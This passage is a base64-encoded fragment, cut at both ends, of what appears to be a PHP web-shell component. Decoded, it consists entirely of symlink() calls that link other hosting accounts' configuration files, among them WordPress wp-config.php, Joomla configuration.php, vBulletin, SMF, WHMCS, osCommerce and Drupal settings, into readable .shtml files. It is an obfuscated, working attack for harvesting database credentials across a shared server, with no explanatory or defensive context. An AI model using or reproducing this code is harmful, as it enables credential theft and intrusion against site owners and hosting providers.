ZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXdwLWJldGEuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLWJldGEuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3ByZXNzL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndwMTMtcHJlc3Muc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Mtd29yZHByZXNzLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Mtd29yZHByZXNzLWJldGEuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLW5ld3Muc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtbmV3LnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy5zaHRtbCcpIDsgDQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93ZWIvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXdlYi5zaHRtbCcpIDsgDQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtYmxvZ3Muc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLWhvbWUuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3Byb3RhbC93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtcHJvdGFsLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+Pm9yZHByZXNzLXNpdGUuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLW1haW4uc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3Rlc3Qvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXRlc3Quc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS5zaHRtbCcpIDsgDQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1ob21lLnNodG1sJykgOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtam9vbWxhLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1wcm90YWwuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLWpvby5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvY21zL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtY21zLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtc2l0ZS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLW1haW4uc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3MvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1uZXdzLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1uZXcuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1ob21lLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkZG9tYWluLid+fj5WQnVsbGV0aW4tZm9ydW0uc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PnZiLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+dmIzLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNwYW5lbC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PnBhbmVsLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0L2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5ob3N0LnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5ob3N0aW5nLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0cy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+aG9zdHMuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+emVuY2FydC5zaHRtbCcpOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkZG9tYWluLid+fj56ZW5jYXJ0LXNob3Auc2h0bWwnKTsgDQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+c2hvcC1aQ3Nob3Auc2h0bWwnKTsgDQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJHBkb21haW4uJ35+Pm1rLXBvcnRhbGUxLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHAnLCRkb21haW4uJ35+PnNtZi5zaHRtbCcpOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3NtZi9TZXR0aW5ncy5waHAnLCRkb21haW4uJ35+PnNtZi1zbWYuc2h0bWwnKTsgDQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRkb21haW4uJ35+PnNtZi1mb3J1bS5zaHRtbCcpOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtcy9TZXR0aW5ncy5waHAnLCRkb21haW4uJ35+PnNtZi1mb3J1bXMuc2h0bWwnKTsgDQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC91cGxvYWQvaW5jbHVkZXMvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+dXBsb2FkLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsL2NvbmZpZy5waHAnLCRkb21haW4uJ35+Pm1hbGF5LnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xlbnRzLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRlL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jbGllbnQyLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jbGllbnQuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGRvbWFpbi4nfn4+bG9rb21lZGlhLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkZG9tYWluLid+fj53ZWJjb25maWcuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywkZG9tYWluLid+fj53ZWJjb25maWcyLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zeXN0ZW0vc2lzdGVtLnBocCcsJGRvbWFpbi4nfn4+bG9rb21lZGlhMS5zaHRtbCcpOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3N5c3RlbS9zaXN0ZW0ucGhwJywkZG9tYWluLid+fj5sb2tvbWVkaWEuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywkZG9tYWluLid+PkRydXBhbC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvZTEwN19jb25maWcucGhwJywkZG9tYWluLid+PmUxMDcuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2RhdGFzL2NvbmZpZy5waHAnLCRkb21haW4uJ34+U2VkaXRpby5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvU1NJLnBocCcsJGRvbWFpbi4nfn4+Q01GLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL1NTSS5waHAnLCRkb21haW4uJ35+PkNNRi1mb3J1bS5zaHRtbCcpIDsgDQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+TXlCQi5zaHRtbCcpIDsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywkZG9tYWluLid+fj5NeUJCLWZvcnVtLnNodG1sJykgOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+T3RoZXIuc2h0bWwnKSA7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRkb21haW4uJ35+PmludmlzaW8uc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywkZG9tYWluLid+fj5CYWxpdGJhbmcuc2h0bWwnKSA7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsaWVudHMuc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xpZW50LnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmJpbGxpbmcuc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmJpbGxpbmdzLnNodG1sJykgOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+UGhwQkItZm9ydW0uc2h0bWwnKSA7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywkZG9tYWluLid+fj5waHBiYjMuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj53aG1jcy5zaHRtbCcpIDsgDQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PndobS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+d2htYy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGRvbWFpbi4nfn4+d2htY3MyLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2UvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pm1hbmdld2htY3Muc2h0bWwnKTsgDQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+V2htOS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5teXNob3Auc2h0bWwnKTsgDQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5zdXBwb3J0LnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0cy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+c3VwcG9ydHMuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tbWVyY2UvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+b3Njb21tZXJjZS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+b3Njb21tZXJjZXMuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3BwaW5nL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+PnNob3Atc2hvcHBpbmcuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3NhbGUvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+c2FsZS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGRvbWFpbi4nfn4+YW1lbWJlci5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLmluYy5waHAnLCRkb21haW4uJ35+PmFtZW1iZXIyLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Muc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXdwLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy13cC1iZXRhLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1iZXRhLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53cDEzLXByZXNzLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXdvcmRwcmVzcy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXdvcmRwcmVzcy1iZXRhLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXdzL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1uZXdzLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLW5ldy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Muc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvd2ViL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy13ZWIuc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZ3Mvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLWJsb2dzLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1ob21lLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXByb3RhbC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS93cC1jb25maWcucGhwJywkZG9tYWluLid+fj5vcmRwcmVzcy1zaXRlLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYWluL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1tYWluLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC90ZXN0L3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy10ZXN0LnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iZXRhL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEuc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS5zaHRtbCcpIDsgDQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtaG9tZS5zaHRtbCcpIDsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLWpvb21sYS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtcHJvdGFsLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb28vY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1qb28uc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2Ntcy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLWNtcy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLXNpdGUuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1tYWluLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXdzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtbmV3cy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtbmV3LnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtaG9tZS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+VkJ1bGxldGluLWZvcnVtLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkZG9tYWluLid+fj52Yi5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIzL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PnZiMy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY3BhbmVsL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jcGFuZWwuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3BhbmVsL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5wYW5lbC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+aG9zdC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdGluZy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+aG9zdGluZy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdHMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmhvc3RzLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+PnplbmNhcnQuc2h0bWwnKTsgDQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC96ZW5jYXJ0L2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+emVuY2FydC1zaG9wLnNodG1sJyk7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+PnNob3AtWkNzaG9wLnNodG1sJyk7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRwZG9tYWluLid+fj5tay1wb3J0YWxlMS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywkZG9tYWluLid+fj5zbWYuc2h0bWwnKTsgDQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywkZG9tYWluLid+fj5zbWYtc21mLnNodG1sJyk7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU2V0dGluZ3MucGhwJywkZG9tYWluLid+fj5zbWYtZm9ydW0uc2h0bWwnKTsgDQogc3l